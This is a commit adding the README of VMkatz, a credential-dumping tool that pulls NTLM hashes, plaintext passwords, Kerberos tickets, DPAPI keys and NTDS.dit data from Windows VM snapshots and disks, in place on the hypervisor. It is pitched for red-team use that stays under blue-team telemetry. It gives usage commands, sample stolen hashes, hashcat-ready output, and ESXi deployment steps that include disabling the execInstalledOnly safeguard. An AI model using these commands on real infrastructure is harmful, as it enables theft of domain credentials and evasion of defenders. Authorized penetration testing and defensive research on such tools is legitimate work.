mirror of
https://github.com/nikaiw/VMkatz
synced 2026-09-25 07:51:06 +00:00
Refactor credential extraction pipeline and add README
This commit is contained in:
@@ -0,0 +1,233 @@
|
||||
# VMkatz
|
||||
|
||||
## Why This Exists
|
||||
|
||||
You are on a red-team operation. You traverse a path through four or five proxies before you finally reach the target network. After several pivots across the infrastructure, you land on a NAS and expect treasure. You are right, but cursed: it stores virtual machines, not loose secrets.
|
||||
|
||||
The prize is there, but reality bites. Your link is barely 200 KB/s. Pulling a 100 GB VM would take days, and every minute of outbound transfer increases the chance that blue team telemetry lights up and your foothold burns.
|
||||
|
||||
VMkatz is built for that moment. Instead of dragging entire virtual machines over a fragile line, it extracts high-value Windows secrets directly from VM memory snapshots and virtual disks, **in-place on the hypervisor**.
|
||||
|
||||
It ships as a single static binary (~5 MB). Drop it on a NAS, ESXi host, or Proxmox node, point it at a `.vmsn`, `.sav`, `.vmdk`, or any VM folder, and walk away with NTLM hashes, DPAPI master keys, Kerberos tickets, cached domain credentials, LSA secrets, and NTDS.dit extracts.
|
||||
|
||||
## What It Extracts
|
||||
|
||||
### From memory snapshots (LSASS)
|
||||
All 9 SSP credential providers that mimikatz implements:
|
||||
|
||||
| Provider | Data | Notes |
|
||||
| --- | --- | --- |
|
||||
| MSV1_0 | NT/LM hashes, SHA1 | Physical-scan fallback for paged entries |
|
||||
| WDigest | Plaintext passwords | Linked-list walk + `.data` fallback |
|
||||
| Kerberos | Passwords, tickets (`.kirbi`) | AVL tree walk, often paged in VM snapshots |
|
||||
| TsPkg | Plaintext passwords | RDP sessions only |
|
||||
| DPAPI | Master key cache (GUID + decrypted key) | SHA1 masterkey for offline DPAPI decrypt |
|
||||
| SSP | Plaintext credentials | `SspCredentialList` in `msv1_0.dll` |
|
||||
| LiveSSP | Plaintext credentials | Requires `livessp.dll` (rare post-Win8) |
|
||||
| Credman | Stored credentials | Hash-table + single-list enumeration |
|
||||
| CloudAP | Azure AD tokens | Typically empty for local-only logon |
|
||||
|
||||
### From virtual disks (offline)
|
||||
- **SAM hashes**: Local account NT/LM hashes
|
||||
- **LSA secrets**: Service account passwords, auto-logon credentials, machine account keys
|
||||
- **Cached domain credentials**: DCC2 hashes (last N domain logons)
|
||||
- **NTDS.dit**: Full Active Directory hash extraction from domain controller disks (feature-gated)
|
||||
|
||||
## Supported Inputs
|
||||
|
||||
| Format | Extensions | Source |
|
||||
| --- | --- | --- |
|
||||
| VMware snapshots | `.vmsn` + `.vmem` | Workstation, ESXi |
|
||||
| VirtualBox saved states | `.sav` | VirtualBox |
|
||||
| QEMU/KVM ELF core dumps | `.elf` | `virsh dump`, `dump-guest-memory` |
|
||||
| Hyper-V memory dumps | `.bin`, `.raw`, `.dmp` | Legacy saved states, raw dumps |
|
||||
| VMware virtual disks | `.vmdk` (sparse + flat) | Workstation, ESXi |
|
||||
| VirtualBox virtual disks | `.vdi` | VirtualBox |
|
||||
| QEMU/KVM virtual disks | `.qcow2` | QEMU, Proxmox |
|
||||
| Hyper-V virtual disks | `.vhdx`, `.vhd` | Hyper-V |
|
||||
| VM directories | any folder | Auto-discovers all processable files |
|
||||
|
||||
**Target OS**: Windows 7 SP1 through Windows 11 x64 (auto-detected).
|
||||
|
||||
## Quick Start
|
||||
|
||||
```bash
|
||||
# Build (default features: all hypervisors + disk support)
|
||||
cargo build --release
|
||||
|
||||
# Extract LSASS credentials from a VMware snapshot
|
||||
./vmkatz snapshot.vmsn
|
||||
|
||||
# Same, with pagefile resolution for paged-out creds
|
||||
./vmkatz --disk disk.vmdk snapshot.vmsn
|
||||
|
||||
# Extract SAM/LSA/DCC2 from a virtual disk (auto-detected)
|
||||
./vmkatz disk.vmdk
|
||||
|
||||
# Point at a VM folder and let it find everything
|
||||
./vmkatz /path/to/vm-directory/
|
||||
|
||||
# List running processes
|
||||
./vmkatz --list-processes snapshot.vmsn
|
||||
|
||||
# Dump LSASS as minidump (for pypykatz, etc.)
|
||||
./vmkatz --dump lsass -o lsass.dmp snapshot.vmsn
|
||||
|
||||
# Output as hashcat-ready hashes (mode 1000)
|
||||
./vmkatz --format hashcat snapshot.vmsn
|
||||
|
||||
# Output as NTLM pwdump format
|
||||
./vmkatz --format ntlm snapshot.vmsn
|
||||
```
|
||||
|
||||
## Output Formats
|
||||
|
||||
| Format | Flag | Description |
|
||||
| --- | --- | --- |
|
||||
| `text` | `--format text` (default) | Full credential dump with session metadata |
|
||||
| `ntlm` | `--format ntlm` | `DOMAIN\user:::hash:::` pwdump format |
|
||||
| `hashcat` | `--format hashcat` | Raw hashes: mode 1000 (NTLM), mode 2100 (DCC2) |
|
||||
| `csv` | `--format csv` | Machine-readable, all fields |
|
||||
|
||||
## Example Output
|
||||
|
||||
### LSASS extraction (default text)
|
||||
```
|
||||
$ vmkatz snapshot.vmsn
|
||||
[*] Providers: MSV(ok) WDigest(ok) Kerberos(paged) TsPkg(empty) DPAPI(ok) SSP(empty) LiveSSP(n/a) Credman(empty) CloudAP(paged)
|
||||
|
||||
[+] 8 logon session(s), 3 with credentials:
|
||||
|
||||
LUID: 0x3e7 (SYSTEM)
|
||||
Username: YOURPC$
|
||||
Domain: WORKGROUP
|
||||
[DPAPI]
|
||||
GUID : 94e9f320-d4a0-4737-b34e-ab106f485c0e
|
||||
MasterKey : d0f110675ca73f39d1370bdfd...
|
||||
SHA1 MasterKey: ea72698de207dab9e01fd9ab63f322ae82b4a4bb
|
||||
|
||||
LUID: 0x240be
|
||||
Session: 2 | LogonType: Unknown
|
||||
Username: user
|
||||
Domain: YOURPC
|
||||
LogonServer: YOURPC
|
||||
SID: S-1-5-21-4247878743-2693906039-1959858616-1000
|
||||
[MSV1_0]
|
||||
LM Hash : 00000000000000000000000000000000
|
||||
NT Hash : bbf7d1528afa8b0fdd40a5b2531bbb6d
|
||||
SHA1 : 6ed12f1e60b17cfff120d753029314748b58aa05
|
||||
DPAPI : 6ed12f1e60b17cfff120d753029314748b58aa05
|
||||
```
|
||||
|
||||
### Hashcat mode
|
||||
```
|
||||
$ vmkatz --format hashcat snapshot.vmsn
|
||||
[*] Providers: MSV(ok) WDigest(ok) ...
|
||||
bbf7d1528afa8b0fdd40a5b2531bbb6d
|
||||
```
|
||||
|
||||
### Pagefile resolution
|
||||
```
|
||||
$ vmkatz --disk disk.vmdk snapshot.vmsn
|
||||
[+] Pagefile: 320.0 MB
|
||||
[*] Providers: MSV(ok) WDigest(ok) ...
|
||||
[+] File-backed: 12540 DLL pages resolved from disk
|
||||
[+] Pagefile: 2274 pages resolved from disk
|
||||
```
|
||||
|
||||
## Pagefile Resolution
|
||||
|
||||
Memory snapshots only capture physical RAM. Credentials that were paged to disk at snapshot time appear as `(paged out)`. The `--disk` flag reads pagefile.sys from the VM's virtual disk to resolve these.
|
||||
|
||||
In **directory mode**, this happens automatically: VMkatz discovers both the snapshot and the disk image, and resolves paged memory without manual flags.
|
||||
|
||||
## Deployment on ESXi
|
||||
|
||||
VMkatz compiles to a static musl binary that runs directly on ESXi without dependencies:
|
||||
|
||||
```bash
|
||||
# Cross-compile for ESXi (musl static)
|
||||
cargo build --release --target x86_64-unknown-linux-musl
|
||||
|
||||
# Upload (~5 MB)
|
||||
scp target/x86_64-unknown-linux-musl/release/vmkatz root@esxi:/tmp/
|
||||
|
||||
# On ESXi 8.0+, allow non-VIB binaries (requires once)
|
||||
esxcli system settings advanced set -o /User/execInstalledOnly -i 0
|
||||
|
||||
# Extract from a live VM snapshot
|
||||
/tmp/vmkatz /vmfs/volumes/datastore1/MyVM/MyVM-Snapshot1.vmsn
|
||||
|
||||
# Extract SAM from a powered-off VM disk
|
||||
/tmp/vmkatz /vmfs/volumes/datastore1/MyVM/MyVM-flat.vmdk
|
||||
```
|
||||
|
||||
## Build Features
|
||||
|
||||
VMkatz is modular. Features can be enabled/disabled at compile time:
|
||||
|
||||
| Feature | Description | Default |
|
||||
| --- | --- | --- |
|
||||
| `vmware` | VMware `.vmsn`/`.vmem` snapshot support | Yes |
|
||||
| `vbox` | VirtualBox `.sav` saved-state support | Yes |
|
||||
| `qemu` | QEMU/KVM ELF core dump support | Yes |
|
||||
| `hyperv` | Hyper-V `.bin`/`.raw` dump support | Yes |
|
||||
| `sam` | Disk extraction (SAM/LSA/DCC2) and disk format handlers | Yes |
|
||||
| `ntds.dit` | NTDS.dit AD extraction (`--ntds`, `--ntds-history`). Requires `sam` | No |
|
||||
|
||||
```bash
|
||||
# Default build (all hypervisors + disk)
|
||||
cargo build --release
|
||||
|
||||
# Add NTDS support
|
||||
cargo build --release --features "ntds.dit"
|
||||
|
||||
# Memory-only build (no disk handling, smaller binary)
|
||||
cargo build --release --no-default-features --features "vmware vbox qemu hyperv"
|
||||
|
||||
# Disk-only build with NTDS
|
||||
cargo build --release --no-default-features --features "sam ntds.dit"
|
||||
```
|
||||
|
||||
## Tested Targets
|
||||
|
||||
20 VMs tested across 6 Windows versions and 3 hypervisors.
|
||||
|
||||
| Hypervisor | Guest OS | Artifact | Result | Notes |
|
||||
| --- | --- | --- | --- | --- |
|
||||
| VMware Workstation | Windows 10 22H2 x64 | LSASS (`.vmsn`) | PASS | 3 snapshots |
|
||||
| VMware Workstation | Windows 10 22H2 x64 | LSASS + pagefile (`.vmsn` + `.vmdk`) | PASS | Resolves paged-out credentials |
|
||||
| VMware Workstation | Windows 10 22H2 x64 | SAM / LSA / DCC2 (`.vmdk`) | PASS | |
|
||||
| VMware Workstation | Windows 10 22H2 x64 | Folder mode | PASS | Auto-discovers `.vmsn` + `.vmdk` |
|
||||
| VirtualBox | Windows 10 22H2 x64 | LSASS (`.sav`) | PASS | |
|
||||
| VirtualBox | Windows 10 22H2 x64 | LSASS + pagefile (`.sav` + `.vdi`) | PASS | |
|
||||
| VirtualBox | Windows 10 22H2 x64 | SAM / LSA / DCC2 (`.vdi`) | PASS | |
|
||||
| ESXi 8.0 | Windows 7 SP1 x64 | LSASS (`.vmsn`) | PASS | |
|
||||
| ESXi 8.0 | Windows 10 22H2 x64 | LSASS (`.vmsn`) | PASS | 2 VMs |
|
||||
| ESXi 8.0 | Windows Server 2012 x64 | LSASS (`.vmsn`) | PASS | 2 VMs |
|
||||
| ESXi 8.0 | Windows Server 2016 x64 | LSASS (`.vmsn`) | PASS | 3 VMs |
|
||||
| ESXi 8.0 | Windows Server 2019 x64 | LSASS (`.vmsn`) | PASS | |
|
||||
| ESXi 8.0 | Windows 11 x64 | LSASS (`.vmsn`) | PASS | 2 VMs, no VBS |
|
||||
| ESXi 8.0 | Windows 11 x64 | SAM (flat `.vmdk`) | PASS | Powered-off VM |
|
||||
| ESXi 8.0 | Windows 11 x64 (VBS) | LSASS (`.vmsn`) | FAIL | Credential Guard / VBS |
|
||||
|
||||
### Known limitations
|
||||
- **VBS / Credential Guard**: VMs with Virtualization-Based Security enabled use nested Hyper-V page tables. The VMEM captured by ESXi is 99% zero pages because the actual kernel memory is behind Hyper-V's SLAT. An EPT walker is implemented but cannot yet recover credentials from these VMs. SAM extraction from the virtual disk still works when the VM is powered off.
|
||||
- **Kerberos**: Kerberos credentials are frequently paged out in VM snapshots. The provider reports `paged` but the data is legitimately absent from RAM. Pagefile resolution (`--disk`) can recover some entries.
|
||||
- **x86 (32-bit) guests**: Not supported. Only x64 Windows is targeted.
|
||||
|
||||
## How It Works
|
||||
|
||||
1. **Layer**: Opens the VM snapshot format and exposes guest physical memory as a flat address space. Each hypervisor format (VMware regions, VBox page map, QEMU ELF segments, Hyper-V identity map) is abstracted behind a common `PhysicalMemory` trait.
|
||||
|
||||
2. **Process discovery**: Scans physical memory for EPROCESS structures using signature matching (`System\0` at ImageFileName offset) with auto-detection across 6 known offset tables (Win7 through Win11 24H2).
|
||||
|
||||
3. **Page table walking**: Translates virtual addresses to physical using the kernel DTB (CR3) with full 4-level page table support. Handles large pages (2MB/1GB), PCID bits, and pagefile fault resolution.
|
||||
|
||||
4. **LSASS extraction**: Locates `lsass.exe`, maps its virtual address space, finds DLLs (`lsass.dll`, `msv1_0.dll`, `wdigest.dll`, `kerberos.dll`, etc.) via PEB/LDR enumeration, resolves crypto keys via pattern matching on `.text`/`.data` sections, and decrypts credentials in-memory using 3DES-CBC or AES-CBC (auto-detected by buffer alignment).
|
||||
|
||||
5. **Disk extraction**: Parses the virtual disk container (sparse VMDK, VDI, QCOW2, VHDX, VHD), finds the Windows partition (MBR/GPT), walks NTFS MFT to locate `SAM`, `SYSTEM`, `SECURITY` hives, and decrypts hashes using the boot key.
|
||||
|
||||
## Disclaimer
|
||||
|
||||
Use only on systems you are explicitly authorized to assess.
|
||||
Reference in New Issue
Block a user